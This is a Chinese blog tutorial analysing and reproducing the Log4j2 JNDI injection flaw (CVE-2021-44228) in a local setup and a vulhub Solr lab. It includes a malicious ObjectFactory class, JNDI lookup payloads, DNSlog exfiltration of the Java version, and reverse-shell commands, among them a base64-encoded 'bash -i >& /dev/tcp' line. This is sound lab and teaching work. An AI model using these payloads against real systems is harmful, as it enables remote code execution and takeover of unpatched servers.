Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现

一、基础知识

漏洞介绍:

Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本,其优异的性能被广泛的应用于各种常见的 Web 服务中。

Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}语法调用的,例如:如果在日志消息中使用了${sys:my.property},那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。

在某些情况下,攻击者可以通过构造带有 ${} 关键标识符的日志消息来触发 log4j2 的 lookup 函数,从而执行任意代码。

JNDI注入主要通过LDAP或RMI服务实现,两种利用方式类似。大致的流程就是程序通过 JNDI 的 LDAP 或 RMI 服务执行了 lookup 方法,执行远程 class 文件中的代码,成功利用此漏洞可以在目标服务器上执行任意代码。
请添加图片描述

什么是JDNI?

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。

JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
在这里插入图片描述

什么LDAP?

LDAP 即 Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好像Linux/Unix系统中的文件目录一样。简单的理解为:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

攻击者可以通过构造特殊的LDAP请求,在请求中包含恶意的Java代码,当服务器接收到请求并解析时,恶意代码就会被执行。

什么RMI?

RMI 即 Remote Method Invoke(远程方法调用),是Java中的一种远程调用机制,可以在不同的JVM之间实现Java对象之间的交互和通信。攻击者可以通过构造恶意的RMI请求,向受漏洞影响的服务器发送请求并执行恶意代码。(两种利用方式都差不多)

扫描二维码关注公众号,回复: 14659031 查看本文章
需要注意:

JDK 11.0.1、8u191、7u201、6u211 以上的版本中默认不支持LDAP协议,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。也就是默认不允许从远程服务器上加载 Reference 的工厂类!(设为true 可以在高版本jdk触发漏洞)

JDK 6u132、JDK 7u122、JDK 8u121 以上的版本中默认不支持RMI协议,com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性默认为 false。也就是默认不允许从远程服务器上加载 Reference 的工厂类!

注意:在 jdk 8u221以上版本利用 RMI 需要把 com.sun.jndi.rmi.registry.trustURLCodebase 和 com.sun.jndi.ldap.object.trustURLCodebase 设为true 可以在高版本jdk触发漏洞,(是不是感觉不对劲,原因看这篇文章:链接

二、漏洞原理:

有了以上的基础,再来理解这个漏洞就很容易了。

假如某一个Java程序中,将浏览器的类型记录到了日志中:

StringuserAgent = request.getHeader("User-Agent");
logger.info(userAgent);

网络安全中有一个准则:不要信任用户输入的任何信息。这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。

假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:

${
    
    jndi:ldap://127.0.0.1/exploit}

接下来,log4j2将会对这行要输出的字符串进行解析。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。

最后,调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!

Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。

PS:有时候Java对象比较大,直接通过LDAP这些存储不方便,就整了个类似于二次跳转的意思,不直接返回对象内容,而是告诉你对象在哪个class里,让你去那里找。

注意,这里就是核心问题了:JNDI可以远程下载class文件来构建对象!!!

危险在哪里?

如果远程下载的URL指向的是一个黑客的服务器,并且下载的class文件里面藏有恶意代码,那不就完犊子了吗?

这就是鼎鼎大名的JNDI注入攻击!

注:此段引用这位大佬的文章:https://baijiahao.baidu.com/s?id=1718842142014280135&wfr=spider&for=pc

三、影响版本

  • Apache Log4j 2.0-2.14.1
  • Apache Log4j 1.2和Log4j 1.2.x系列不受影响
  • Apache Log4j 2.15.0及以上版本已修复此漏洞

四、本地复现

RMI复现:

由于 RMI 服务实现比较简单,这里先使用 RMI 服务进行复现。

JDK版本:jdk1.8.0_241

首先创建 RMI 服务类,Rmiserver.java:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Rmiserver {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Registry registry = LocateRegistry.createRegistry(1234);
        Reference reference = new Reference("Hello", "Hello", "http://127.0.0.1:80/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj", referenceWrapper);
    }

}

编写漏洞利用类 Hello.java:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Hello implements ObjectFactory {
    
    
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    
    
        System.out.println("Hello");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}

功能是弹出 win 上的计算器,编写完执行代码:

javac Hello.java

得到 Hello.class 文件,把它放在黑客自己的服务器上(这里我就放在本地了),访问 Web 服务可以直接访问到。

也就是上面代码这里指定的IP
在这里插入图片描述

使用的 Apache web服务。
在这里插入图片描述
然后新建 Maven 项目,编写 Log4j 类,Log4jTest.java:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    
    
    public static void main(String[] args) {
    
    
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//u121,java超过这个版本要设置参数
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");//u221,java超过这个版本要设置参数
        Logger logger = LogManager.getLogger();
        logger.error("${jndi:rmi://127.0.0.1:1234/obj}");
    }
}

其中 pom.xml log4j的引用如下

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
</dependencies>

先启动 RMI 服务,在执行Log4j Test
在这里插入图片描述
在这里插入图片描述
计算器弹出成功,本地复现完成!

LDAP复现:

JDK版本同上。

LDAP服务本地搭建比较麻烦,这里直接用 marshalsec 的 LDAP服务:项目链接。下载后需要自己编译,编译需要maven环境,进入到 marshalsec 文件夹输入如下命令:

mvn clean package -DskipTests

在这里插入图片描述
当查看到绿色的SUCCESS时,即成功编译。在 target 目录下使用编译好的jar包开启一个恶意的ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:80/#Hello" 1234

其中 http://127.0.0.1:80/#Hello 是恶意 class 文件的访问地址,1234 即 ldap 服务的访问端口。(这里的 ldap 服务和恶意类都在本地搭建,实际这两个应该在攻击者服务器上)

恶意class文件和前面的 Hello 文件相同,漏洞类如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    
    
    public static void main(String[] args) {
    
    
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");//超过8u191需要设置
        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://127.0.0.1:1234/Hello}");
    }
}

运行 Log4jTest :

可以看到 ldap 接收到了请求并返回了恶意类。
在这里插入图片描述

在这里插入图片描述
成功弹出。

五、docker实例复现

这里使用 vuluhub 靶场的 docker 进行漏洞复现。

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

vuluhub 靶场下载好后,首先进入 CVE-2021-44228 目录下

docker-compose up -d //靶场的编译和运行

docker ps    //查看docker环境是否启动成功

在这里插入图片描述
环境开启后,访问8983端口即可查看到Apache Solr的后台页面:
在这里插入图片描述
这个靶场只支持 ldap 服务,所以只能用 ldap 来访问。

DNSlog测试:网站链接

在DNSlog平台请求一个dns域名:
在这里插入图片描述
访问下面 Payload 即可利用该漏洞。

http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://3iboge.dnslog.cn}

在这里插入图片描述
在DNS网站得到记录,说明存在 Log4j 漏洞!
在这里插入图片描述
也可以获取 java 版本信息,访问

http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rfk88l.dnslog.cn}

在这里插入图片描述

反弹shell:

通过两种方式来复现。

方式一:

通过 JNDIExploit 工具来反弹shell(下载链接)下载完成后需要进行编译,进入文件目录后执行:

mvn clean package -DskipTests

在 target 目录中开启服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.50.1
  • -i 指定开启服务的IP,服务我是在本地开启的。

注意:这里开启服务的 jdk 版本是 1.8 的,高版本的可能会运行不了。

在这里插入图片描述
然后开启监听
在这里插入图片描述

构造如下命令:

http://192.168.50.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.50.1:1389/Basic/ReverseShell/192.168.50.1/2333}
  • ReverseShell 即反弹shell,后面跟接收 shell 的IP,这里我接收 shell 的IP也是在本地。这个工具还有很多其它的功能,详细可以看上面的链接。

在这里插入图片描述

成功反弹shell
在这里插入图片描述
方式二

这里使用另一位大佬开发的EXP,下载链接 下载后不需要编译,在tools目录下通过下面命令使用:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”

反弹 shell 需要先构造payload:

bash -i >& /dev/tcp/192.168.50.131/2333 0>&1

然后将这个 payload 进行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEzMS8yMzMzIDA+JjE=

调整成如下格式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEzMS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.50.1
  • -A 192.168.50.1 即指定开启服务的IP,这里就是我本地的IP。

可以通过在线工具帮助生成命令,工具链接
在这里插入图片描述
执行上述命令
在这里插入图片描述
可以看到,根据 jdk 版本生成了 rmi 和 ldap 服务的不同利用代码。

先在 192.168.20.131 开启监听,然后根据靶场的版本是jdk1.8的,执行下面url:

http://192.168.50.131:8983/solr/admin/cores?action=${
    
    jndi:ldap://192.168.50.1:1389/bvqld7}

成功得到 shell!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43531669/article/details/123562530